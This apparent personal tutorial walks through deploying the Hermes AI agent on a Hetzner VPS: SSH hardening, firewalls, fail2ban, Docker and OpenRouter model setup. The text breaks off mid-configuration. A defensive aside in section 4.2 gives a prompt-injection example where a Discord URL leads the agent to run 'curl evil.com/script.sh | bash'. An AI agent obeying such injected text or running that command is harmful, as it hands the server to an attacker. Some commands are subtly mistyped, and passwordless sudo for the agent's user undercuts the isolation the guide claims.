Hermes Agent on a Hetzner VPS with OpenRouter

Practical tutorial to deploy Hermes Agent to a Hetzner VPS, connect it to Discord, and use OpenRouter as a provider for LLMs.

5/4/202630 min

Hermes Agent on a Hetzner VPS with OpenRouter

Share

This article is largely a tutorial for myself. I wrote it while deploying Hermes Agent (https://github.com/NousResearch/hermes-agent) on a Hetzner VPS, connecting it to Discord and using OpenRouter (https://openrouter.ai/) as provider of LLMs.

I publish it like this because Hermes is changing very quickly. It just came out recently, many parts are improving in real time and there are behaviors that change between one version and the next. That's why this walkthrough tries to reflect what yes has worked for me in a real installation, with notes where the official documentation and the behavior of the binary are not yet fully aligned.

Official reference documentation: https://hermes-agent.nousresearch.com/docs Repository: https://github.com/NousResearch/hermes-agent Note: this tutorial follows a single specific path: Hetzner + Ubuntu + Docker backend + OpenRouter + Discord. Hermes supports more variants, but here I focus only on the one I have really tried.—

Table of contents

  1. What is Hermes Agent and target architecture

  2. Choose a Hetzner VPS

  3. Provision the server

  4. Initial hardening: user, SSH and firewall

  5. Install Docker and Docker Compose

  6. Install Hermes Agent

  7. Configure OpenRouter as a provider

  8. Configure multiple models for different tasks

  9. Coding skills and the Docker backend for safe execution

  10. Connect Hermes with Discord

  11. Folder structure for projects

  12. Daily summary cron per project

  13. Convert Hermes to 24/7 systemd service

  14. Safety and limits

  15. Take a prototype to production with Sliplane

  16. Final checklist


1. What is Hermes Agent and target architecture

Hermes Agent (https://github.com/NousResearch/hermes-agent) is an open-source agent from Nous Research (successor of OpenClaw) with:

  • Multiple messaging gateways: CLI, Discord, Telegram, Slack, WhatsApp, Signal, Home Assistant — all from one hermes gateway process.

  • Compatibility with any OpenAI provider - compatible: Nous Portal, OpenRouter (200+ models), Anthropic, OpenAI, DeepSeek direct, GLM, Kimi, Hugging Face, local endpoints, etc.

  • Skills auto-created agentskills.io ecosystem (https://agentskills.io).

  • Persistent memory with summary LLM and FTS5.

  • Integrated Cron scheduler for autonomous tasks (heartbeats, nightly reports, audits).

  • Terminal backends: local, Docker (sandbox), SSH, Modal, Daytona, Singularity.

  • Delegation to subagents with a model different from the main one (key to reducing costs).

Refs: official README (https://github.com/NousResearch/hermes-agent/blob/main/README.md), Quickstart (https://hermes-agent.nousresearch.com/docs/getting-started/quickstart/), Configuration (https://hermes-agent.nousresearch.com/docs/user-guide/configuration/).

Architecture that we are going to set up

2. Choose a Hetzner VPS

Prices updated to the adjustment of April 1, 2026 (source (https://docs.hetzner.com/general/infrastructure-and-availability/price-adjustment/)). All plans include 20 TB of traffic, 1 IPv4, IPv6 and free firewall.

Recommendation: Start with CX32 (Ubuntu 24.04 LTS, Falkenstein or Helsinki datacenter). It is trivially scalable to CX42 without reinstalling (Hetzner allows hot resizing).

⚠️ CX and CAX are only in EU data centers. If you need USA or Singapore, please use CPX or CCX.

3. Provision the server

3.1. Create the account and a project

  1. Go to https://console.hetzner.cloud/ and create an account. Ask for validation with card or PayPal (Hetzner activates accounts in minutes but sometimes asks for ID in the first few days).

  2. Create a new Project (e.g. Hermes).

📸 [images/03-hetzner-project.png]

3.2. Upload your SSH key

Before creating the server, generate (on your local machine) a dedicated key. Important: Use the appropriate syntax for your operating system — ~ expansion does not work the same on PowerShell as it does on bash.

In Linux / macOS / WSL / Git Bash

ssh-keygen -t ed25519 -C "hetzner-hermes" -f ~/.ssh/hetzner_hermes

At Windows PowerShell

PowerShell does not always expand ~. Use $HOME and backslashes:

# Asegura que existe la carpeta .ssh (idempotente)
New-Item -ItemType Directory -Path $HOME\.ssh -Force | Out-Null
# Genera la clave
ssh-keygen -t ed25519 -C "hetzner-hermes" -f $HOME\.ssh\hetzner_hermes

If you see Saving key “~/.ssh/hetzner_hermes” failed: No such file or directory, it is exactly this problem: ~ is not expanding. Use $HOME as above. If ’ssh-keygen’ is not recognized appears, the OpenSSH client is missing. Install it from PowerShell as administrator with: Add-WindowsCapability -Online -Name OpenSSH.Client~~~~0.0.1.0 and open a new session.

Verify that both keys have been created

# PowerShell
Get-ChildItem $HOME\.ssh\hetzner_hermes*
# bash
ls -la ~/.ssh/hetzner_hermes*

You should see two files:

  • hetzner_hermes → private key (remains on your laptop; it is not uploaded anywhere).

  • hetzner_hermes.pub → public key (the one you paste in Hetzner).

Copy the public one to the clipboard

# PowerShell
Get-Content $HOME\.ssh\hetzner_hermes.pub | Set-Clipboard
# macOS
pbcopy < ~/.ssh/hetzner_hermes.pub
# Linux con xclip
xclip -selection clipboard < ~/.ssh/hetzner_hermes.pub

Paste it on Hetzner

Console Hetzner → Security → SSH Keys → Add SSH Key, paste the content and give it an identifying name (hetzner-hermes-laptop, for example).

⚠️ Important: Hetzner panel keys are only injected when you create a new server. If you already have the server created and you upload a new key to the panel, it does not propagate to the existing server. In that case you have to manually add it to the user's ~/.ssh/authorized_keys in VPS:

> # desde tu portátil - añade tu clave pública al authorized_keys del VPS en una sola línea
> Get-Content $HOME\.ssh\hetzner_hermes.pub | ssh hermes@SERVER_IP "cat
> ~/.ssh/authorized_keys && chmod 600 ~/.ssh/authorized_keys"

Assume that hermes already exists (step 4.2 done) and that you log in with some other valid key. If you haven't done step 4 yet and want to try with root, replace hermes with root in the command.

3.3. Create the server

On the Add Server screen, fill out only the following:

  • Location

  • Value: Falkenstein (FSN1) or Helsinki (HEL1)

  • Notes: Any EU data center is valid

  • Image

  • Value: Ubuntu 24.04

  • Notes: LTS, support until 2029

  • Type

  • Value: CX32 (Shared vCPU x86)

  • Notes: “Shared vCPU” tab

  • Networking → Public IPv4

  • Value: ✅ ON

  • Notes: ~€0.50/month extra. Necessary because many residential ISPs do not route IPv6 — without IPv4 your own browser may not reach your devices

  • Networking → Public IPv6

  • Value: ✅ activated (free)

  • Notes: Leave it active

  • Networking → Private networks

  • Value: (empty)

  • Notes: Only if you want LAN between several Hetzner servers

  • SSH Keys

  • Value: ✅ your key from step 3.2

  • Notes: Critical: if you do not check any, Hetzner sends password by email

  • Volumes

  • Value: (empty)

  • Notes: The 80 GB disk of the CX32 is enough

  • Firewalls

  • Value: (empty)

  • Notes: We created it in step 4.4

  • Backups

  • Value: ✅ activate

  • Notes: +20% of the price (~€1.36). Daily snapshots, 7 holds. Recommended

  • Placement groups

  • Value: ❌ skip

  • Notes: It only serves to distribute several servers in a different hardware. Does not apply to 1 VPS

  • Labels

  • Value: ❌ skip

  • Notes: Optional tags to group resources in large projects. Unnecessary here

  • Cloud config / User data

  • Value: ❌ skip

  • Notes: It would be a cloud-init script for auto-provisioning. We do it by hand in step 4

  • Name

  • Value: hermes-lab

Press Create & Buy now.

📸 [images/05-hetzner-create-server.png]

Write down the IPv4 public IP that appears after a few seconds (we will use it as SERVER_IP).

3.4. First login

From your local machine:

ssh -i ~/.ssh/hetzner_hermes root@SERVER_IP

Accept the imprint. If it comes in, everything is fine.

4. Initial hardening: user, SSH and firewall

4.1. Update the system and install base dependencies

These packages are operating system dependencies, not Hermes. They cover three things: security, automatic patching, and common tools that Docker and other installers assume.

apt update && apt upgrade -y
apt install -y ufw fail2ban unattended-upgrades curl git build-essential ca-certificates gnupg lsb-release htop
dpkg-reconfigure -plow unattended-upgrades # acepta los defaults

What each package does and why you need it:

  • ufw

  • What it is for: Host-level firewall (step 4.4)

  • Essential?: Yes

  • fail2ban

  • What is it for: Ban IPs after N failed SSH attempts (step 4.5)

  • Essential?: Yes

  • unattended-upgrades

  • What it is for: Apply security patches automatically without touching anything

  • Essential?: Yes (lab 24/7)

  • curl

  • What is it for: Download the Hermes installer and the Docker GPG key

  • Essential?: Yes

  • git

  • What it is for: Only dependency “manual” that Hermes explicitly requests. The rest are managed by install.sh

  • Essential?: Yes

  • build-essential

  • What is it for: gcc/make: required if any skill compiles native code

  • Essential?: Recommended

  • ca-certificates

  • What it is for: Root certificates for HTTPS (Docker repo, OpenRouter)

  • Essential?: Yes

  • gnupg, lsb-release

  • What it is for: Verify signatures and detect version Ubuntu (Docker repo)

  • Essential?: Yes

  • htop

  • What it is for: Interactive process monitor

  • Essential?: Comfort

And the Hermes quarters themselves?

Do not install Python, Node, uv, ripgrep or ffmpeg manually. The official installer (scripts/install.sh, step 6) provisions them in an isolated environment to avoid crashes with system packages. Specifically, according to the official installation document (https://hermes-agent.nousresearch.com/docs/getting-started/installation):

  • uv (ultra-fast Python package manager)

  • Python 3.11 inside an isolated venv

  • Node.js v22 (required for npm-based skills and for agent-browser from step 9.4)

  • ripgrep (FTS searches in code)

  • ffmpeg (audio conversion for voice mode)

To diagnose or repair dependencies after installation, use:

hermes doctor # diagnóstico completo (te dice qué falta y cómo arreglarlo)
hermes update # vuelve a tirar del install.sh y actualiza todo

Hermes does not have a separate hermes deps install command: dependency management is built into install.sh itself and hermes update. Refs: Installation (https://hermes-agent.nousresearch.com/docs/getting-started/installation), CLI Reference (https://hermes-agent.nousresearch.com/docs/reference/cli-commands).

4.2. Create a non-root user for Hermes

Hermes must live in its own user (non-root) to limit damage in case of accidental ROCE.

What is an accidental ROSC? RCE = Remote Code Execution. In this context it is NOT an attacker exploiting a vulnerability: it is the agent itself executing a command that it should not have. Real examples that happen in agents LLM: — The model misinterprets an instruction and does rm -rf ~/proyectos thinking it cleans a build. — A user at Discord launches a prompt injection inside a URL and Hermes ends up executing curl evil.com/script.sh | bash. — A misspelled skill (or auto-generated by the agent itself) enters a loop that writes to /etc/. If Hermes lives as root, any of those errors compromise the entire server: wipe the system, modify /etc/sudoers, read /root/.ssh/, etc. As user hermes without access to system files, the “explosion radius” remains at /home/hermes/. It's the first line of defense: fewer privileges = less harm when something goes wrong.

adduser - disabled-password - gecos "" hermes
usermod -aG sudo hermes
mkdir -p /home/hermes/.ssh
cp /root/.ssh/authorized_keys /home/hermes/.ssh/
chown -R hermes:hermes /home/hermes/.ssh
chmod 700 /home/hermes/.ssh
chmod 600 /home/hermes/.ssh/authorized_keys

Grant sudo without a password (convenient for automation; if you prefer with a password, skip this block):

echo "hermes ALL=(ALL) NOPASSWD:ALL" > /etc/sudoers.d/hermes
chmod 440 /etc/sudoers.d/hermes

4.3. Harden SSH

What is “harden SSH” used for?

Your VPS is on the public Internet, with a fixed IPv4. From the second it is turned on, automated bots start trying logins through SSH (port 22) trying common passwords (root/123456, admin/admin, ...) or leaked keys. It's not paranoia: if you look at /var/log/auth.log within a few hours of creating the server, you'll see hundreds of attempts.

“Harden SSH” means changing the daemon's default configuration (sshd) so that those automated attempts don't even have a choice. With the config that we are going to apply, a bot that tries ssh root@tu-ip receives immediate rejection without trying the password.

Is it necessary? Does it limit you?

  • Is it necessary? Yes, especially because we are going to have an agent with access to Docker and the filesystem running 24/7. Just one weak password leaked and you lose everything.

  • Does it limit you? Minimally, and only if you lose your SSH password. The table below breaks down each line with its actual trade-off.

Step 1 — Write the configuration (not yet applied)

This just creates the file. Until you reboot ssh (step 3) the new config doesn't take effect, so there's no risk of being out yet.

cat > /etc/ssh/sshd_config.d/99-hardening.conf <<'EOF'
PermitRootLogin no
PasswordAuthentication no
PubkeyAuthentication yes
KbdInteractiveAuthentication no
ChallengeResponseAuthentication no
MaxAuthTries 3
LoginGraceTime 20
AllowUsers hermes
EOF

Validate the syntax before applying:

sshd -t && echo "OK config" || echo "ERROR: revisa el archivo"

If ERROR appears, correct the file before continuing. sshd -t does not touch anything, it only validates.

What each line does (and what limitation it introduces)

  • PermitRootLogin no

  • What it does: Blocks direct login as root for SSH. For privileged tasks, you log in as hermes and use sudo.

  • Does it limit you?: No: in step 4.2 you already gave sudo NOPASSWD to hermes. Anything you would do as root, you do with sudo

  • PasswordAuthentication no

  • What it does: Disables password login. Only code SSH is accepted.

  • Does it limit you?: Yes, partially: if you lose the private key ~/.ssh/hetzner_hermes, you cannot enter through SSH. Mitigation: Hetzner web console (Rescue mode) continues to work with the root email password; From there you can reset passwords. You are never completely left out

  • PubkeyAuthentication yes

  • What it does: Explicitly activate login by public key (it is the default, but we leave it explicit).

  • Does it limit you?: No

  • KbdInteractiveAuthentication no

  • What it does: Disables the interactive auth method (PAM, OTP by keyboard...).

  • Does it limit you?: No, unless you wanted to set up 2FA with google-authenticator. If you want it in the future, this is set to yes

  • ChallengeResponseAuthentication no

  • What it does: Old alias of the previous one, we leave it explicit for compatibility.

  • Does it limit you?: No

  • MaxAuthTries 3

  • What it does: Closes the connection after 3 failed attempts (instead of the default 6). Combined with fail2ban, bans the IP.

  • Does it limit you?: Only if you make a mistake typing 3 times — reconnect and reset the counter

  • LoginGraceTime 20

  • What it does: If you don't complete the login within 20 seconds, it closes. (Default: 120s.) Reduces window for slow brute force attacks.

  • Does it limit you?: No: 20 s is plenty for a legitimate connection with a password

  • AllowUsers hermes

  • What it does: Explicit whitelist: only user hermes can log in SSH. Even if you create another user in the system, they will not be able to log in through SSH unless you add them here.

  • Does it limit you?: Only if you later create more users for SSH (e.g. a partner). You edit this line: AllowUsers hermes alice bob and systemctl restart ssh

What we are NOT changing

  • Port: we are still at 22. Changing it to 2222 reduces noise in logs (bots scan 22 first) but does not add real security: a serious attacker scans all ports. We leave it at 22 so that any SSH client works without -p.

  • 2FA: optional for later. With key SSH + fail2ban + MaxAuthTries 3 you are already well above 99% of servers on the Internet.

Step 2 — Prepare for a safety session (BEFORE applying)

⚠️ Do not close the current root session. It will be your safety net in case the new config has any problems. Until you verify that login with hermes works, keep the terminal where you are as root open.

Step 3 — Apply the new config

Now, reload sshd (reload applies the new config without killing the already open SSH connections, so your root session is still alive):

systemctl reload ssh

If your system only has restart and not reload, use systemctl restart ssh. Active SSH connections usually survive a restart because the daemon only restarts for new connections, but reload is the safe option by default.

Step 4 — Verify from another terminal

On your local machine, open a new terminal (without closing the one on VPS) and try:

ssh -i ~/.ssh/hetzner_hermes hermes@SERVER_IP
  • ✅ If entered as **hermes** → the new config works. Now you can close the original root session.

  • ❌ If it fails → go back to the root session (which is still open) and fix the file /etc/ssh/sshd_config.d/99-hardening.conf or the keys in /home/hermes/.ssh/authorized_keys. After correcting, repeat sshd -t and systemctl reload ssh.

If you stay out (plan B)

When the worst happens (you lost your password, you made a mistake in AllowUsers, etc.):

  1. Go to the Hetzner console → your server → Rescue → Activate Rescue System (Linux 64).

  2. Reboot VPS from the panel.

  3. Connect via the web console (“Console” button) with the root password that Hetzner shows you.

  4. Mount the disk (mount /dev/sda1 /mnt) and fix /mnt/etc/ssh/sshd_config.d/99-hardening.conf or /mnt/home/hermes/.ssh/authorized_keys.

  5. Deactivate rescue mode and reboot normally.

Come on: hardening doesn't lock you in, it forces you to have your SSH key organized.

🔁 User change: from here on you work as hermes If you verified step 4.3.4 successfully, logout root and log in as hermes:

# en tu máquina local
ssh -i ~/.ssh/hetzner_hermes hermes@SERVER_IP

All commands from here on (4.4, 4.5, 5, 6...) are executed as hermes with sudo when privileges are required. We already configured sudo NOPASSWD in step 4.2, so sudo will not ask you for a password.

4.4. Firewall (UFW + Hetzner Cloud Firewall)

Double layer: UFW inside the VPS + Cloud Firewall on the panel.

Before touching anything: what port does each thing need?

It is common to assume that each service that uses VPS needs an open port. Not true for outbound services. The connections that VPS initiates outward (Discord, OpenRouter, GitHub, npm, apt...) do not require any open ports on your firewall — the firewall only regulates incoming traffic. That's why ufw default allow outgoing lets everything out without a white list.

  • You doing SSH to VPS

  • Type: Incoming (you → VPS, port 22)

  • Port on your firewall?: Yes: 22

  • You opening https://miprototipo.lab.rustyroboz.com in the browser

  • Type: Incoming (visitor → Caddy, ports 80/443)

  • Port on your firewall?: Yes: 80 and 443

  • Hermes talking to Discord (receiving and sending messages)

  • Type: Outgoing (VPS → gateway.discord.gg:443 by WebSocket)

  • Port on your firewall?: No

  • Hermes calling OpenRouter

  • Type: Outgoing (VPS → openrouter.ai:443)

  • Port on your firewall?: No

  • Hermes making git pull, apt, npm install

  • Type: Outgoing

  • Port on your firewall?: No

  • Hermes spawning containers Docker

  • Type: Local between processes

  • Port on your firewall?: No

Summary: Discord does not require you to open anything. The bot is a client; Discord never initiates connections to your VPS.

So what you really have to decide is who can reach port 22 from the Internet.

Port 22: we open it to the entire Internet

Source: 0.0.0.0/0, ::/0 for SSH. Yes, it sounds aggressive, but it is the correct option for your case (home WiFi with dynamic router IP) because the hardening in step 4.3 already makes brute force attempts useless:

  • PasswordAuthentication no → no password to guess.

  • PubkeyAuthentication yes with key Ed25519 → ~256 bits of security, practically unbreakable.

  • AllowUsers hermes → only one user is even eligible.

  • MaxAuthTries 3 + fail2ban → any IP that insists is banned.

Internet bots will still hit port 22 (you'll see attempts at /var/log/auth.log), but they'll be kicked out before doing anything useful. This is what most Linux servers on the Internet do and is perfectly reasonable for a personal lab. The alternatives (restrict to your IP — impossible without a fixed IP; or mount Tailscale — setup extra) are optional improvements, not requirements.

Apply UFW (within VPS)

sudo necessary because it touches kernel rules:

sudo ufw default deny incoming
sudo ufw default allow outgoing
sudo ufw allow 22/tcp
sudo ufw allow 80/tcp
sudo ufw allow 443/tcp
sudo ufw - force enable
sudo ufw status verbose

Apply Cloud Firewall (panel Hetzner)

Hetzner panel → Firewalls → Create Firewall → name hermes-lab-fw. Create 3 Inbound rules, one for each port:

  • SSH

  • Sources: Any IPv4 + Any IPv6

  • Protocol: TCP

  • Port: 22

  • Port range: (empty)

  • HTTP

  • Sources: Any IPv4 + Any IPv6

  • Protocol: TCP

  • Port: 80

  • Port range: (empty)

  • HTTPS

  • Sources: Any IPv4 + Any IPv6

  • Protocol: TCP

  • Port: 443

  • Port range: (empty)

⚠️ Attention to the Hetzner form: — Sources are the source IPs. Press the drop-down menu and check the Any IPv4 and Any IPv6 presets (internally equivalent to 0.0.0.0/0 and ::/0, but in the UI select them by name). — Port is for a single port. Enter 22, 80 or 443. — Port range is left empty. Only used for ranges like 8000–8100. If you paste IPs there, Hetzner returns Port is too low.

The default ICMP rule: leave it

Hetzner automatically creates a fourth rule Protocol: ICMP, Sources: Any IPv4 + Any IPv6. Keep it. ICMP is not a service port, it is the network control protocol:

  • Makes ping and traceroute work (basic diagnostics when something goes wrong).

  • Supports Path MTU Discovery, without which VPN connections or networks with small MTUs hang silently when transferring large files.

  • In IPv6, ICMPv6 includes Neighbor Discovery and Router Advertisement: if you block it, IPv6 stops working. It is not optional.

The risk of leaving it open is minimal (an attacker can verify that the host is alive, but your IP is already public anyway) and floods are absorbed by Hetzner's DDoS protection before reaching VPS.

Why does the ICMP rule have no port? Ports are a TCP/UDP concept. ICMP identifies messages by “type” and “code” (echo request, echo reply, destination unreachable...), not by port. Hetzner disables the Port and Port range fields automatically when you select Protocol: ICMP. It is correct that they are empty.

Apply the firewall to the hermes-lab server in the Apply to tab of the firewall itself.

Do not open application ports (3000, 8080, etc.). Caddy will reverse proxy at 80/443.

4.5. Fail2ban

Activate the default jail for SSH:

sudo systemctl enable - now fail2ban
sudo fail2ban-client status sshd

⚠️ Important notice during the initial setup: while you are testing SSH keys and authentication, it is very easy to trigger 5+ failed attempts in a row and have fail2ban ban you from your own home IP. Typical symptom: ping to the server works, but ssh and Test-NetConnection -Port 22 give timeout even though the firewalls are OK. If this happens to you, go to the Hetzner Web Console (panel → server → Console button) and unban:

sudo fail2ban-client status sshd # ver IPs baneadas
sudo fail2ban-client unban - all # desbanear todo

To avoid this altogether during initial setup, keep fail2ban stopped and enable it at the end of step 4:

sudo systemctl stop fail2ban # mientras configuras
# … cuando todo funciona estable …
sudo systemctl start fail2ban

Or whitelist your IP in /etc/fail2ban/jail.local:

sudo tee /etc/fail2ban/jail.local <<'EOF'
[DEFAULT]
ignoreip = 127.0.0.1/8 ::1 TU_IP_PUBLICA
EOF

sudo systemctl restart fail2ban

(Get your public IP with Invoke-RestMethod ifconfig.me from PowerShell.)

5. Install Docker and Docker Compose

Why do we install Docker if Hermes doesn't ask for it?

In step 4.1 I said that the only manual Hermes dependency is git, and it's true: install.sh handles Python/Node/uv/ripgrep/ffmpeg in an isolated environment. But Docker is not a dependency on Hermes, it is a dependency on the architecture we are building. We need it for three reasons, all decided in later steps:

  • Agent Execution Sandbox (terminal.backend: docker)

  • Defined in: Step 9.1

  • Without Docker: Hermes would execute commands directly on the host. You lose the first layer of insulation that justifies approvals.mode: off

  • Reverse proxy with automatic HTTPS (Caddy)

  • Defined in: Optional, outside the scope of this article

  • Without Docker: You do not have HTTPS subdomains for the prototypes

  • Each prototype generated by Hermes

  • Defined in: Natural consequence of the container-based approach

  • Without Docker: Each project would contaminate system dependencies; no isolation between prototypes

If you decided to forgo all three (terminal.backend: local, no Caddy, running prototypes directly on host), you could skip this section. I do not recommend it for a 24/7 lab — it is what differentiates “I have an agent playing with my server” from “I have an isolated project incubator”.

And shouldn't Hermes itself run inside Docker?

It is a valid alternative and the official Hermes document at Docker (https://hermes-agent.nousresearch.com/docs/user-guide/docker). There is an official image nousresearch/hermes-agent:latest.

Advantages of the containerized option: trivial updates (docker pull && docker compose up -d), total host isolation, all state on a single /opt/data volume.

Why our guide goes with native installation:

  • Easier to debug (direct logs, hermes doctor, hermes update work without container jumps).

  • Direct access to the host filesystem for project volumes without “Docker within Docker”.

  • The systemd service from step 13 wraps the native binary, which gives fine control over resource limits.

  • This is what the official Quickstart (https://hermes-agent.nousresearch.com/docs/getting-started/quickstart/) does.

If you want to migrate to containerized Hermes in the future, the data from ~/.hermes/ is portable: you just need to mount it to /opt/data of the container.

Install Docker (official)

You continue as hermes. Install Docker from the official repo:

sudo install -m 0755 -d /etc/apt/keyrings
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg - dearmor -o /etc/apt/keyrings/docker.gpg
sudo chmod a+r /etc/apt/keyrings/docker.gpg
echo "deb [arch=$(dpkg - print-architecture) signed-by=/etc/apt/keyrings/docker.gpg] \
https://download.docker.com/linux/ubuntu $(. /etc/os-release && echo "$VERSION_CODENAME") stable" | \
sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt update
sudo apt install -y docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin
sudo usermod -aG docker hermes

Apply group membership docker

usermod -aG docker hermes adds your user to the docker group, but groups are only loaded at login: the current SSH session still doesn't see it. Check the status first:

groups # te lista los grupos de la sesión actual
id -nG hermes # los grupos REALES del usuario en /etc/group

If groups does not include docker but id -nG hermes does, confirm that the change is made at the system level and you just need to refresh the session.

You have three ways to do it, ordered from simplest to most surgical:

Option 1 — Close and reopen SSH (cleanest):

exit # o Ctrl+D - cierra la sesión actual

And from your laptop, you enter again:

ssh -i ~/.ssh/hetzner_hermes hermes@SERVER_IP
groups # ahora debería incluir 'docker'

Option 2 — Without closing SSH, open a sub-shell with the group reloaded:

exec sg docker -c bash
groups # incluye 'docker'

sg (switch group) launches a shell with the membership reloaded. When you exit (exit), you return to the original shell without group docker. Useful if you have open processes in the session that you don't want to lose.

Option 3 — Reload groups with **newgrp**:

newgrp docker
groups

Similar to sg but replaces the current shell. It also comes out with exit.

Any of the three is fine. The most recommended is option 1 because it is what you will do whenever you reconnect and leave everything in a clean state.

Verify that Docker works like hermes

docker run - rm hello-world
docker compose version

hello-world should print the welcome message from Docker. If it says permission denied while trying to connect to the Docker daemon socket, the group has not yet been applied: go back to the previous step and reconnect SSH.

6. Install Hermes Agent

As user hermes:

curl -fsSL https://raw.githubusercontent.com/NousResearch/hermes-agent/main/scripts/install.sh | bash

Important: actual behavior of the current installer. This command is no longer limited to “install binaries”: when finished, it opens the Hermes interactive wizard to leave at least one LLM provider configured. The official doc indicates that the installer manages dependencies, clones the repo, creates the environment, exposes the hermes global command and configures the LLM provider. Refs: Installation (https://hermes-agent.nousresearch.com/docs/getting-started/installation), Quickstart (https://hermes-agent.nousresearch.com/docs/getting-started/quickstart/).

6.1. What to choose in the wizard

When the base installation finishes and the configurator appears:

  1. Choose **Quick setup**.

  2. Under Supplier, choose **OpenRouter**.

  3. Paste your API key from OpenRouter (sk-or-v1-...).

  4. If it asks you to choose a model, select **qwen**/**qwen3**.**6**-**plus**.

  5. When it asks if you want to connect a messaging platform (Connect a messaging platform?), skip it for now: leave the selection at Skip or confirm without selecting any platform. The idea in this first pass is to not configure the gateway yet and first check that the Hermes base works well on CLI.

Why we don't leave DeepSeek V4 Pro as the main route in this guide: during the real tests on this VPS we found several HTTP 429 caused by saturation or degradation of the upstream provider on OpenRouter. To make the tutorial reproducible and stable, the final configuration is based on qwen/qwen3.6-plus + minimax/minimax-m2.7, which in our tests performed better. According to the current Hermes flow, Quick setup uses the same vendor/model selector as hermes model, but omits longer parts of Full setup, such as credential rotation and additional vision/TTS settings. If you want the full configuration later, run hermes setup.

6.2. Reload the shell and verify the binary

When the wizard finishes and you return to prompt, it is advisable to continue with these commands:

source ~/.bashrc
hermes - version

source ~/.bashrc reloads PATH in case the installer just added ~/.local/bin, and hermes — version confirms that the command is now resolvable from your current session.

If source ~/.bashrc gives some strange permissions error, open a new SSH session as hermes and try hermes — version again. Hermes' own FAQ contemplates that case.

Post-install structure:

~/.hermes/
├── config.yaml # configuración no-secreta (editable a mano)
├── .env # API keys y secretos (chmod 600)
├── data/ # memoria, sesiones, FTS5
├── skills/ # skills instaladas
├── cron/ # jobs programados
└── logs/

Check that everything is healthy:

hermes doctor

7. Configure OpenRouter as a provider

If in step 6 you already made Quick setup → OpenRouter and pasted the API key, this section is mainly used to verify that it was saved correctly.

7.1. Get an API key from OpenRouter

  1. Create an account in https://openrouter.ai/.

  2. Settings → Keys → Create Key, name it hermes-hetzner, optional: set a monthly spending limit (recommended: start at $20–30).

  3. Copy the key (starts with sk-or-v1-...).

📸 [images/07-openrouter-key.png]

7.2. Load the key into Hermes

If you did not already enter it into the wizard in step 6, you can load it now:

hermes config set OPENROUTER_API_KEY sk-or-v1-XXXXXXXXXXXXXXXXXXXXXXXX

Hermes automatically places the secret in ~/.hermes/.env (not config.yaml). If you prefer to edit by hand: chmod 600 ~/.hermes/.env and add OPENROUTER_API_KEY=.... Ref: Providers (https://hermes-agent.nousresearch.com/docs/integrations/providers).

Important verification: confirm that it was really saved

Check it explicitly after the wizard:

grep '^OPENROUTER_API_KEY=' ~/.hermes/.env
hermes auth list

What you should see:

  • in ~/.hermes/.env, a line OPENROUTER_API_KEY=sk-or-v1-...

  • in hermes auth list, a credential from openrouter with origin env:OPENROUTER_API_KEY

If it doesn't appear in .env, set it again manually:

hermes config set OPENROUTER_API_KEY sk-or-v1-XXXXXXXXXXXXXXXXXXXXXXXX

Sign that Hermes is NOT using your own key: errors HTTP 429 from OpenRouter with text similar to add your own key to accumulate your rate limits and metadata is_byok: false. In that case, the wizard left OpenRouter selected as the provider, but the API key was not persisted correctly.

7.3. Select the provider

If you want to check the current selection:

hermes model

Choose openrouter, and as the main model, qwen/qwen3.6-plus. In the next step we will refine the rest of the roles with hermes config set.

8. Configure multiple models for different tasks

After the Quick setup, Hermes already has a main model. But that doesn't mean that it automatically configures all other roles. The important thing is to understand this separation:

  • **model**.**default**: main model of the normal chat.

  • **delegation**: model for subagents; if you don't define it, it inherits the parent.

  • **auxiliary**.**vision**: multimodal tasks (captures, image analysis).

  • **auxiliary**.**compression**: Context summaries when the conversation is compacted.

  • **fallback**_**model**: backup model if the main one fails due to rate limit or supplier failure.

  • **agent**.**reasoning**_**effort**: reasoning intensity; It is not another model, it is an agent adjustment.

In this guide we are going to leave it like this, everything about OpenRouter:

  • Main model

  • Configuration: qwen/qwen3.6-plus

  • Delegation

  • Configuration: minimax/minimax-m2.7

  • Auxiliary vision

  • Configuration: google/gemini-3-flash-preview

  • Auxiliary compression

  • Configuration: qwen/qwen3.6-plus

  • Fallback model

  • Configuration: minimax/minimax-m2.7

  • Reasoning effort

  • Configuration: medium (recommended) or high

Use medium as default value. Upgrade to high only if you see that Hermes falls short in complex tasks.

8.1. Set it with hermes config set

There is no need to open the YAML by hand. As user hermes, run:

hermes config set model.provider openrouter
hermes config set model.default qwen/qwen3.6-plus
hermes config set delegation.provider openrouter
hermes config set delegation.model minimax/minimax-m2.7
hermes config set auxiliary.vision.provider openrouter
hermes config set auxiliary.vision.model google/gemini-3-flash-preview
hermes config set fallback_model.provider openrouter
hermes config set fallback_model.model minimax/minimax-m2.7
hermes config set agent.reasoning_effort medium
hermes config set display.personality technical
hermes config set display.show_reasoning true
hermes config set auxiliary.compression.provider openrouter
hermes config set auxiliary.compression.model qwen/qwen3.6-plus
hermes config set timezone Europe/Madrid
hermes config set provider_routing.sort throughput

After changing models, restart the gateway so that the service loads the new config:

sudo "$(command -v hermes)" gateway stop - system
sudo "$(command -v hermes)" gateway start - system
sudo "$(command -v hermes)" gateway status - system

If you want to verify the complete result in the file:

grep -n "default:\\|delegation:\\|fallback_model:\\|reasoning_effort:\\|personality:\\|show_reasoning:\\|timezone:\\|vision:\\|compression:" ~/.hermes/config.yaml

What is happening in that scenario: normally it is not a timeout problem or your VPS. OpenRouter balances between several providers and, if the upstream of the chosen model is saturated or degraded, it can return 429 even if everything local is correct. That is why it is advisable to have a real fallback_model and, if necessary, temporarily change the main model of the interactive channel from Discord. It is also advisable for the compression model to have a large context window. If you use a compressor with less context than the main model's compression threshold, Hermes will lower the threshold for that session to make it fit. That's why we leave qwen/qwen3.6-plus also in compression.

8.2. Check how it turned out

hermes config

There is an important nuance here: **hermes config** does not print the entire YAML, but rather a summary of the main values. That's why it's normal for you to see things like:

  • Model with the current parent (for example qwen/qwen3.6-plus)

  • Display with Personality: technical

  • Display with Reasoning: on

  • Context Compression with the auxiliary model you have set

  • Auxiliary Models (overrides) with Vision

And, on the other hand, they do not appear explicitly in that summary screen:

  • delegation

  • fallback_model

  • some internal keys of agent

Another confusing detail: in hermes config, the **Display** → **Reasoning** field refers to show or hide on-screen reasoning, not agent.reasoning_effort. They are different settings: you can have agent.reasoning_effort: medium with Display → Reasoning: on or off, depending on whether you want to see or hide that reasoning in the output.

To verify the complete configuration, also check the actual file:

